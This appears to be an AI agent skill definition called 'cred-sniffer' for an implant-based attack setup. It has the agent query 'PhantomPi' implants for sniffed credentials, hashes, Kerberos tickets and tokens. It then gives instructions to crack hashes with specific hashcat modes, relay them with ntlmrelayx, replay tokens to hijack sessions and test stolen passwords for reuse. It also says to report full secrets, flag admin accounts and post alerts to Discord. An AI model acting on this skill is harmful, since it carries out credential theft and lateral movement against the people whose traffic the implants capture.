| name | cred-sniffer |
| description | Monitor PhantomPi implant packet captures for credentials, NTLM hashes, Kerberos tickets, and tokens. Triggers on: credentials, hashes, creds, sniffer, captures, pcap, kerberos, ntlm, tokens, passwords.
|
| metadata | {"openclaw":{"requires":{"bins":"[Truncated]"},"os":["linux"]}} |
Credential Sniffer
Checking for captured credentials
bash /home/openclaw/scripts/query-implant.sh /captured-creds [IMPLANT_IPS]
Omit IP for general queries; the script checks all implants automatically. Returns JSON keyed by implant IP with alive and data per implant.
Response fields: sniffer / analyzer (active/inactive), count, types, findings.
If sniffer is "inactive", tell the operator.
Finding types
- cleartext: immediately usable. Try against other services, check reuse.
- ntlm_hash: crack with
hashcat -m 5600 (NTLMv2) / -m 5500 (NTLMv1), or relay with ntlmrelayx.
- kerberos: crack with
hashcat -m 18200 (AS-REP) / -m 13100 (Kerberoast).
- token: replay for session hijacking; decode JWTs for scope/roles.
Reporting guidelines
- Group by implant, then by type, then protocol.
- For hashes, always include hashcat mode and one-liner.
- Flag high-value accounts: Domain Admin, service accounts,
admin, root.
- Never truncate the
secret field.
- For HTTP findings, include the
url field when present.
- Treat
secret=[REDACTED] as intentional implant-side alert redaction for credentials, tokens, and hashes. Do not claim the secret was unavailable; tell the operator it remains in the implant's stored findings.
Webhook alerts (cred-alert)
Messages starting with cred-alert: are automated push notifications from the credential analyzer.
Format:
cred-alert: implant=10.8.0.3 count=2
protocol=HTTP Basic Auth | type=cleartext | user=admin | secret=[REDACTED] | src=192.168.1.50:49312 | dst=192.168.1.10:80 | url=http://app.internal/login
Discord template:
🔑 **Credentials Found** | Implant `{implant}` | {count} new
`{protocol}` {user} -> `{dst}`
`{secret}`
Per-type additions: ⚠️ before cleartext protocol, hashcat -m XXXX after ntlm/kerberos secret, 🪪 before token protocol.
Do not run scripts or add commentary beyond the template.
